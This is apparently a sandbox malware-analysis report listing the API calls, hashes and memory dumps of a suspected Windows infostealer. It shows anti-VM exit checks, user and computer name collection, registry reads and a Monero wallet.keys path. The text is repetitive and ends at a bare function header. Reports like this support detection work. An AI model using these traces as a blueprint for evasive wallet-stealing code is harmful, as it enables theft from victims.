String ID: CurrentBuildNumber
API String ID: 3225020163-1022791448
Opcode ID: 778c1cb3a4a709602c46321dc7a9d1eea5c2cf3a6d92425ad94589c2cf28939f
Instruction ID: 926435ec5e2c14a48596d8f5ce975b71c67f2bc272ec5ec6e96d00bc0c9f2524
Opcode Fuzzy Hash: 778c1cb3a4a709602c46321dc7a9d1eea5c2cf3a6d92425ad94589c2cf28939f
Instruction Fuzzy Hash: 460184B5A00308BBDB24DFE0EC49FAEB7B8EF44701F004064FB15A7284DAB056508B50

Function 00EF69F0 Relevance: 9.1, APIs: 6, Instructions: 89sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,017507E0), ref: 00EF98A1
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750810), ref: 00EF98BA
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750828), ref: 00EF98D2
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750558), ref: 00EF98EA
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750570), ref: 00EF9903
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,017589C0), ref: 00EF991B
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01746340), ref: 00EF9933
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01746500), ref: 00EF994C
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750708), ref: 00EF9964
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,017505B8), ref: 00EF997C
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750600), ref: 00EF9995
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750630), ref: 00EF99AD
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,017463A0), ref: 00EF99C5
Part of subcall function 00EF9860: GetProcAddress.KERNEL32(75900000,01750690), ref: 00EF99DE

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EE11D0: ExitProcess.KERNEL32 ref: 00EE1211

Part of subcall function 00EE1160: GetSystemInfo.KERNEL32(?), ref: 00EE116A
Part of subcall function 00EE1160: ExitProcess.KERNEL32 ref: 00EE117E

Part of subcall function 00EE1110: GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00EE112B
Part of subcall function 00EE1110: VirtualAllocExNuma.KERNEL32(00000000), ref: 00EE1132
Part of subcall function 00EE1110: ExitProcess.KERNEL32 ref: 00EE1143

Part of subcall function 00EE1220: GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EE123E
Part of subcall function 00EE1220: __aulldiv.LIBCMT ref: 00EE1258
Part of subcall function 00EE1220: __aulldiv.LIBCMT ref: 00EE1266
Part of subcall function 00EE1220: ExitProcess.KERNEL32 ref: 00EE1294

Part of subcall function 00EF6770: GetUserDefaultLangID.KERNEL32 ref: 00EF6774

Part of subcall function 00EE1190: ExitProcess.KERNEL32 ref: 00EE11C6

Part of subcall function 00EF7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00EE11B7), ref: 00EF7880
Part of subcall function 00EF7850: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7887
Part of subcall function 00EF7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00EF789F

Part of subcall function 00EF78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7910
Part of subcall function 00EF78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00EF7917
Part of subcall function 00EF78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00EF792F

Part of subcall function 00EFA9B0: lstrlen.KERNEL32(?,01758BB0,?,\Monero\wallet.keys,00F00E17), ref: 00EFA9C5
Part of subcall function 00EFA9B0: lstrcpy.KERNEL32(00000000), ref: 00EFAA04
Part of subcall function 00EFA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00EFAA12

Part of subcall function 00EFA8A0: lstrcpy.KERNEL32(?,00F00E17), ref: 00EFA905

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,017589A0,?,00F0110C,?,00000000,?,00F01110,?,00000000,00F00AEF), ref: 00EF6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00EF6AE8
CloseHandle.KERNEL32(00000000), ref: 00EF6AF9
Sleep.KERNEL32(00001770), ref: 00EF6B04
CloseHandle.KERNEL32(?,00000000,?,017589A0,?,00F0110C,?,00000000,?,00F01110,?,00000000,00F00AEF), ref: 00EF6B1A
ExitProcess.KERNEL32 ref: 00EF6B22

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$Process$Exit$Heap$lstrcpy$AllocateCloseEventHandleNameUser__aulldiv$AllocComputerCreateCurrentDefaultGlobalInfoLangMemoryNumaOpenSleepStatusSystemVirtuallstrcatlstrlen
String ID:
API String ID: 2525456742-0
Opcode ID: 03bf8e213969874a30a1b1bfc1789abab2bf08fca86f632a40798bfd1e25ee5a
Instruction ID: c1edf7afedb3f410b760fc44f7d3eec4de0b1005188999f0787611ecf61fe5f8
Opcode Fuzzy Hash: 03bf8e213969874a30a1b1bfc1789abab2bf08fca86f632a40798bfd1e25ee5a
Instruction Fuzzy Hash: 7731FE7190010CABDB18FBA0E856BFE77B8AF44380F146538F316BA185DFB05A45C7A6

Function 00EE99C0 Relevance: 9.1, APIs: 6, Instructions: 82filememoryCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00EE99EC
GetFileSizeEx.KERNEL32(000000FF,?), ref: 00EE9A11
LocalAlloc.KERNEL32(00000040,?), ref: 00EE9A31
ReadFile.KERNEL32(000000FF,?,00000000,00EE148F,00000000), ref: 00EE9A5A
LocalFree.KERNEL32(00EE148F), ref: 00EE9A90
CloseHandle.KERNEL32(000000FF), ref: 00EE9A9A

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: File$Local$AllocCloseCreateFreeHandleReadSize
String ID:
API String ID: 2311089104-0
Opcode ID: 3d13d8fd507baefae289455cd62817672d3aebf37edf7f47b8a06663be775385
Instruction ID: df3d59a202742af4ccf28076af59925a0c6e5ed668dd2522d7278315e45681b0
Opcode Fuzzy Hash: 3d13d8fd507baefae289455cd62817672d3aebf37edf7f47b8a06663be775385
Instruction Fuzzy Hash: 803148B4A0020DEFDB24CF95D885BAE77F4FF48304F108168E915AB280D774AA91CFA0

Function 00EF4780 Relevance: 8.9, APIs: 7, Instructions: 101stringCOMMON

Download Yara Rule

APIs

lstrcat.KERNEL32(?,0175DF58), ref: 00EF47DB

Part of subcall function 00EF8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00EF8E0B

lstrcat.KERNEL32(?,00000000), ref: 00EF4801
lstrcat.KERNEL32(?,?), ref: 00EF4820
lstrcat.KERNEL32(?,?), ref: 00EF4834
lstrcat.KERNEL32(?,0174B018), ref: 00EF4847
lstrcat.KERNEL32(?,?), ref: 00EF485B
lstrcat.KERNEL32(?,0175D458), ref: 00EF486F

Part of subcall function 00EFA740: lstrcpy.KERNEL32(00F00E17,00000000), ref: 00EFA788

Part of subcall function 00EF8D90: GetFileAttributesA.KERNEL32(00000000,?,00EE1B54,?,?,00F0564C,?,?,00F00E1F), ref: 00EF8D9F

Part of subcall function 00EF4570: GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00EF4580
Part of subcall function 00EF4570: RtlAllocateHeap.NTDLL(00000000), ref: 00EF4587
Part of subcall function 00EF4570: wsprintfA.USER32 ref: 00EF45A6
Part of subcall function 00EF4570: FindFirstFileA.KERNEL32(?,?), ref: 00EF45BD

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: d950940f186d3317b7698c29cef6acc2cbe9d91616adbe624d6c2fe816316c47
Instruction ID: ae1ee02e23564e89d09ebf0c714f635f90a245e9cb9049a13d1be801940c7d3b
Opcode Fuzzy Hash: d950940f186d3317b7698c29cef6acc2cbe9d91616adbe624d6c2fe816316c47
Instruction Fuzzy Hash: 2A3161B690021C67CB28FBA0DC85EF973BCAB48700F405599F319A6085EEB4D6D9CB91

Function 00EE1220 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00EE123E
__aulldiv.LIBCMT ref: 00EE1258
__aulldiv.LIBCMT ref: 00EE1266
ExitProcess.KERNEL32 ref: 00EE1294

Strings

@, xrefs: 00EE1233

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: b82b7a7a1537be8e8d175f871f38dde70bbb878c91a2d1ec2c04c92c51714e3e
Instruction ID: 316212524ddbcbcde9c71bd2636e11b1efc5f93abe3fa03709db6b67c6becaa1
Opcode Fuzzy Hash: b82b7a7a1537be8e8d175f871f38dde70bbb878c91a2d1ec2c04c92c51714e3e
Instruction Fuzzy Hash: 35018FB094434CBADF10DBD0CC49BADBBB8AB04705F208044E705B6180D67455809758

Function 00EF40B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,0175D618,00000000,00020119,?), ref: 00EF40F4
RegQueryValueExA.ADVAPI32(?,0175DE50,00000000,00000000,00000000,000000FF), ref: 00EF4118
RegCloseKey.ADVAPI32(?), ref: 00EF4122
lstrcat.KERNEL32(?,00000000), ref: 00EF4147
lstrcat.KERNEL32(?,0175DE68), ref: 00EF415B

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: 6249c3edc33f3eef43f1b97feeaccde4f8c77dae866979e1a0db1c71586f6d61
Instruction ID: f004fd835e0ab8a9bc5a4ada432016b0669ce246a473d7812533a3daa71d1084
Opcode Fuzzy Hash: 6249c3edc33f3eef43f1b97feeaccde4f8c77dae866979e1a0db1c71586f6d61
Instruction Fuzzy Hash: 3F4165B690020C6BDB38EFA0EC46FFE737DAB88300F004558A72557185EA759BD88B91

Function 6C7CC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C7CC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C7CC969
GetSystemInfo.KERNEL32(?), ref: 6C7CC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C7CC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C7CC9E2

Memory Dump Source

Source File: 00000000.00000002.2398545451.000000006C7B1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C7B0000, based on PE: true

Associated: 00000000.00000002.2398518716.000000006C7B0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398609967.000000006C82D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398643028.000000006C83E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2398679946.000000006C842000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c7b0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 547fdb908eb1fcb43b14cc681dfa50b4b88da8cb6654bf3a577afe3b1d2569e0
Instruction ID: 1f29be7d271e608a33a4eaa14eda7f890e0e0b573857a73efe94a79a068fdc42
Opcode Fuzzy Hash: 547fdb908eb1fcb43b14cc681dfa50b4b88da8cb6654bf3a577afe3b1d2569e0
Instruction Fuzzy Hash: 9C2128727416156FDB30AAA4DD8CBAE7779AF46309F501539F90BA7680DB205C40C7D1

Function 00EF7E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 00EF7E37
RtlAllocateHeap.NTDLL(00000000), ref: 00EF7E3E
RegOpenKeyExA.KERNEL32(80000002,0174BC40,00000000,00020119,?), ref: 00EF7E5E
RegQueryValueExA.KERNEL32(?,0175D758,00000000,00000000,000000FF,000000FF), ref: 00EF7E7F
RegCloseKey.ADVAPI32(?), ref: 00EF7E92

Memory Dump Source

Source File: 00000000.00000002.2372185804.0000000000EE1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00EE0000, based on PE: true

Associated: 00000000.00000002.2372170652.0000000000EE0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F68000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F6F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000F9D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000000FFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372185804.00000000010AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.000000000113E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000012BB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013D3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372547012.00000000013E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372806914.00000000013E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372924728.0000000001584000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2372943172.0000000001585000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ee0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: fdeb6e09404aeddf20c25bc1f93b5da6431fe47f5bc7f020fff1c3caf5fedb79
Instruction ID: 3fec070b3a1afbe2482f35d4ae44503ba58479001ebcbaa2b4923701e66a2397
Opcode Fuzzy Hash: fdeb6e09404aeddf20c25bc1f93b5da6431fe47f5bc7f020fff1c3caf5fedb79
Instruction Fuzzy Hash: AB1191B1A44209FBD728CF94ED49FBBBBB8FB04711F10412AF715A7684D77459108BA0

Function 00EE12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

